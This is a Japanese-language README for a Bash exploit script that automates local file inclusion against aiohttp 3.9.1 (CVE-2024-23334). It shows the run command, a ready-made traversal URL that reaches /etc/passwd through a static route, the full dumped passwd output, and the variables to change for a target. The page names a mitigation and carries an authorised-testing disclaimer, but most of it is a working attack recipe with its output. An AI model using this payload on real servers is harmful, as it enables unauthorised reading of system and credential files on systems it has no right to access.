
Bashスクリプト - aiohttpサーバーバージョン3.9.1に対するローカルファイルインクルージョン(LFI)攻撃を自動化します。
脆弱なaiohttpサーバーに対するLocal File Inclusion(LFI)攻撃を自動化するBashスクリプト。CVE-2024-23334を標的にしています。このエクスプロイトは、静的ルートの設定が不適切な影響を受けるバージョンのaiohttpを実行しているシステム上の任意のファイルへの不正アクセスを可能にします。
CVE-2024-23334脆弱性は、Pythonおよびasyncio用の非同期HTTPクライアント/サーバーフレームワークであるaiohttpに影響を与えます。これは、aiohttpを静的ルートを持つWebサーバーとして使用した場合に発生し、設定が不適切だとディレクトリトラバーサルの脆弱性が生じる可能性があります。これにより、攻撃者は認証なしにシステム上の任意のファイルにアクセスできるようになります。
この脆弱性に対する緩和策は以下の通りです:
follow_symlinks オプションを無効にする。curl: HTTPリクエストの作成に使用するため、システムにcurlがインストールされていることを確認してください。スクリプトを実行するには、以下のコマンドを実行します:
./lfi_aiohttp.sh -f /path/to/file/to/dump
すべてうまくいけば、以下のような結果が表示されるはずです:
[+] Curl output to the resulting url: http://localhost:8080/assets/../../..//etc/passwd.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
app:x:1001:1001:,,,:/home/app:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
[+] File dumped successfully.
重要: スクリプト内の
main_urlとpayload変数は、対象の環境に応じて調整する必要があります。
main_url: この変数は、対象のaiohttpサーバーのURL(例:http://localhost:8080)に設定する必要があります。テスト対象の実際のサーバーアドレスに応じて変更してください。payload: この変数は、サーバー上の静的ファイルルート(例:/assets/)を表します。対象サーバーの静的ファイルディレクトリの設定と一致していることを確認してください。スクリプトを実行する前に、これらの変数を確認して、テストシナリオに合わせて正しく設定されていることを確認してください。設定が正しくないと、ファイルへのアクセス試行が失敗したり、予期しない動作が発生する可能性があります。
このスクリプトは教育目的および許可されたペネトレーションテストのみを対象としています。許可なくこのスクリプトを使用することは禁止されており、違法となる可能性があります。